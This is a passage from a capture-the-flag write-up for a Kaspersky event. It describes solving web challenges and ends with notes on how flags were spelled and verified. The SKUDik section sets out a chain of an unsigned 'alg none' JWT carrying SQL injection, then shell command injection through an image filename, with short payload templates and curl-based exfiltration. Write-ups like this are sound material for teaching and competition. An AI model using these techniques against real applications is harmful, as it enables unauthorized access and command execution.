  4. Send the move and read the reflected 500 page. Pull the flag out of the SQLite error text.

  5. Run the final solver from a clean session. It pins the public resolver IP while keeping TLS SNI, creates the game state, sends the payload, extracts the error text, then removes its own session rows in a finally block.

Verification

The exact flag triggered the reflected marker, and an altered flag returned HTTP 200 instead. That negative control proves the extractor was not matching unrelated page text.

back to contents

WEB / access control application

SKUDik

Solved, recovered three times and rechecked

flag kaspersky{c32fccdd-762a-4321-8337-163c9b67325f}

The chain

The app accepted an unsigned JWT whose sub field reached a SQL query. Once admin, a camera snapshot could create an attacker-chosen JPEG filename. Reusing that existing filename as videoStorageDir passed the existence check, and a local adapter then dropped it into df -Pk "<path>" through /bin/sh -c.

Solve path

  1. Build an unsigned JWT with algorithm none and a SQL expression in sub that selects the first user. The empty third segment means there is no signature to check.

    base64url({"alg":"none","typ":"JWT"}).base64url({"sub":"SQL_PAYLOAD"}).
  2. Use the admin session to open the hidden camera WebSocket. Send camera_live_init, wait for camera state, then send camera_ack for camera 1.

  3. Test the filename channel with a harmless delay. The response came back about three seconds late, which proves command substitution.

    $(sleep 3)-1.jpeg
  4. Exfiltrate through the application's own unit API. The payload used printf with octal \042 for JSON quotes, piped JSON to curl --json @-, and created a unit whose label carried the command output.

  5. Avoid broad filesystem searches. The first unbounded find hit /sys and wedged the worker. The search that worked excluded /proc, /sys and /dev and used bounded paths.

  6. Read the new unit back through the ordinary API, then repeat the bounded extraction to rule out a truncated result.

  7. Restore videoStorageDir to its original value and delete the temporary units the application allows deleting.

Verification

The flag was recovered three times and freshly rechecked once. The application could not delete one leftover unit, because its own query deletes only higher IDs. That limitation was recorded rather than hidden.

back to contents

notes

Reading notes

Flag spelling

SunHua Gate really returned kasperky{...}. The missing letter is part of the flag.

Case

Fluffy Transform decoded to uppercase Morse text. Morse does not carry case, so the wrapped flag uses the event's lowercase convention.

Retractions

Ping Pong Show had two early answers from the malware analysis that were later retracted. The victory packet supplied the real flag. The SlopGate local test value was a dummy baked into the test image, not an event flag.

One unreceipted flag

Good pineapple is the only entry without an independent scoreboard receipt. It is fully reconstructed from a complete frame scan and reported as a corrected candidate.

Reconstructed commands

Some solver invocations are reconstructed. Temporary workspaces were cleaned up after the event, so where the exact terminal history was gone, the verified algorithm, offsets and values are preserved instead.